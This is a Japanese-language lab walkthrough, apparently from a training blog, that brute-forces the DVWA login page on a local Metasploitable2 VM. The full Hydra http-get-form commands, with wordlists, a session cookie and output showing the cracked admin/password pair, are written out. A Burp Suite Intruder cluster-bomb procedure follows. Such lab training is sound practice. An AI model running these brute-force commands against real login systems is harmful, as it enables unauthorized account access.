THC Hydra – SecTools Top Network Security Tools
(THC: The Hacker's Choice. The oldest and still active security research group. Founded 1995)
Kali と Metasploitable2 を起動する
Burp Suite の起動とブラウザのプロキシ設定
Burp Suite を起動する。ブラウザの Proxy を Burp Suite に変更する。初期設定は下記の通り。
『Burp Suite』
www.demandosigno.study
[Proxy] → [Intercept] → [Intercept is on → off] とする。
ブラウザ、DVWA の起動
- Firefox を起動し DVWA にアクセスし、ログインする。
- DVWA の "Security Level: low" を確認し [Brute Force] をクリック。
(Security Level の変更は下記参照)
『DVWA 初期設定』
www.demandosigno.study
Brute Force ページのログインメニューに適当な ID と PASSWORD を入力してみる。当然入れない。
Burp Suite
Burp Suite の [Target] → [Site map] から先ほどのアクセスを確認する。 (username=hoge, password=hoge)
Hydra
新しく端末を開く。
root@kali:~# hydra -L /usr/share/wordlists/metasploit/http_default_pass.txt -P /usr/share/wordlists/metasploit/http_default_pass.txt 192.168.56.105 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c" -f
- hydra コマンドに続けて、オプション -L でユーザーIDの候補リストを指定する
- -P でパスワード候補リストも指定する
- ターゲットの IPアドレスを指定する
- メソッドは GET を使うので http-get-form を指定。以下は全体をダブルクォーテーションでくくる、
- 先ほどの DVWA のアクセス記録から IPアドレス以下のURLをコピペする
("/dvwa/vulnerabilities/brute/)以降はコロンで区切って、 - 同様にパラメータもコピペする (:username=hoge&password=hoge&Login=Login)
- 記述したユーザーID と パスワード部分を上記で指定した候補リストで置き換えるために ^ を付けて書き換える
(:username=^USER^&password=^PASS^&Login=Login) - ブラウザに戻り、ログインに失敗したときのエラーメッセージをコピペする
(:Username and/or password incorrect.) - Burp Suite に戻り、使用している Cookie を "H=" に付けてコピペする
(:H=security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c) - 最後にダブルクォートを忘れず付け、後ろに "-f" を付ける(ID,Pass ペアが発見されれば処理を終了する)
- コマンドを実行する
root@kali:~# hydra -L /usr/share/wordlists/metasploit/http_default_pass.txt -P /usr/share/wordlists/metasploit/http_default_pass.txt 192.168.56.105 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c" -f Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-09-14 05:02:50 [DATA] max 16 tasks per 1 server, overall 16 tasks, 361 login tries (l:19/p:19), ~23 tries per task [DATA] attacking http-get-form://192.168.56.105:80/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c [80][http-get-form] host: 192.168.56.105 login: admin password: password [STATUS] attack finished for 192.168.56.105 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-09-14 05:02:51
解析完了 (下記のように "H=Cookie: security=low" とすべきところを "H=security=low" と少し間違うと、間違った結果が出る(表示のパスではログインできない))
root@kali:~# hydra -L /usr/share/wordlists/metasploit/http_default_pass.txt -P /usr/share/wordlists/metasploit/http_default_pass.txt 192.168.56.105 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c" -f Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-09-14 05:06:18 [DATA] max 16 tasks per 1 server, overall 16 tasks, 361 login tries (l:19/p:19), ~23 tries per task [DATA] attacking http-get-form://192.168.56.105:80/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c [80][http-get-form] host: 192.168.56.105 login: admin password: system [STATUS] attack finished for 192.168.56.105 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-09-14 05:06:19
Burp Suite のイントルーダー機能を使用した Brute Force 攻撃(intruder : 侵入者)
- Burp Suite の [Proxy] → [Intercept off → on] に変更
- DVWA の Bruite Force ページでいい加減な IDとPASS(hoge, hoge)を入力してログインボタンを押す(画面は遷移しない)
- Burp Suite に戻り、Intercept 画面で右クリック → [Send to Intruder] を選択
- 次に [Intruder] タブをクリックして [Positions] タブを選択
- ここには Burp Suite が推測した「変更可能な値」がハイライトされているが、右側の [Clear $] ボタンで消去する
- ユーザーネームを選択して [Add $] をクリック(§ : Section sign セクションマーク)
- 同様にパスワードも選択して [Add $] をクリック
- 上部 [Attack type] ドロップダウンリストから [Cluster bomb] を選択
- [Payloads] タブに移り、"Payload set" を "1" のまま、"Payload Option" 欄にユーザーネームの候補を作成していく。[Add]欄に記入 → [Add]
- "Payload set" を "2" に変更し、同様にパスワード候補を作成していく
- [Options] タブに移り、"Attack Result" 欄の "Store requests" と "Store responses" にチェックが付いていることを確認する
- 最上部のメニュー欄から [Intruder] → [Start attack] をクリックする
- 「無料版は機能が制限されています」といいうダイアログボックスが表示されるので [OK] を選択
- Intruder の結果を見ると "Length" が異なるものがあり、Brute Force が成功したことが分かる
- [Proxy] → [Intercept on → off] に変更
- ブラウザで DVWA を表示し、先ほどの admin, password でログインできることを確認する